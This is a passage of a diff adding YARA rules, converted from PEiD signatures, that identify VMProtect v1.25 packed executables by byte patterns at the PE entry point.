+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02573_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02574_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02575_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02576_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02577_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02578_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02579_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02580_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02581_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02582_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02583_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02584_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02585_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02586_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02587_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02588_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02589_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02590_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02591_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02592_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02593_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02594_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02595_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02596_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02597_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02598_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02599_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02600_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02601_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02602_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02603_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02604_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02605_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02606_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02607_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02608_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02609_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02610_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02611_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 57 9C 55 52 56 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02612_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 50 9C 53 55 57 52 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02613_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 53 9C 56 57 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02614_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 54 53 56 57 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02615_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 57 56 55 53 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02616_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 9C 50 53 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02617_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 52 55 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02618_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 54 57 56 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02619_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 53 9C 52 56 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02620_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 53 56 51 57 52 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02621_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 55 9C 57 57 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02622_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 53 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02623_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 53 55 57 52 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5D 9D 5A 5F 5D 5B 5E 59 58 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02624_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 55 52 9C 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02625_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 9C 53 57 55 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02626_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 53 9C 55 56 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02627_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 57 56 55 56 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02628_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 51 9C 56 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02629_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 53 55 9C 57 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02630_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 56 51 55 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02631_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 53 57 51 9C 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02632_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 56 9C 53 54 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02633_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 56 57 9C 51 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02634_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 57 9C 54 53 55 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02635_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 50 55 53 51 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02636_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 9C 55 53 57 51 53 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02637_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 50 9C 51 57 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 EE FC 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02638_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 51 57 53 9C 52 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02639_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 52 51 55 55 56 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02640_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 54 52 57 51 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02641_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
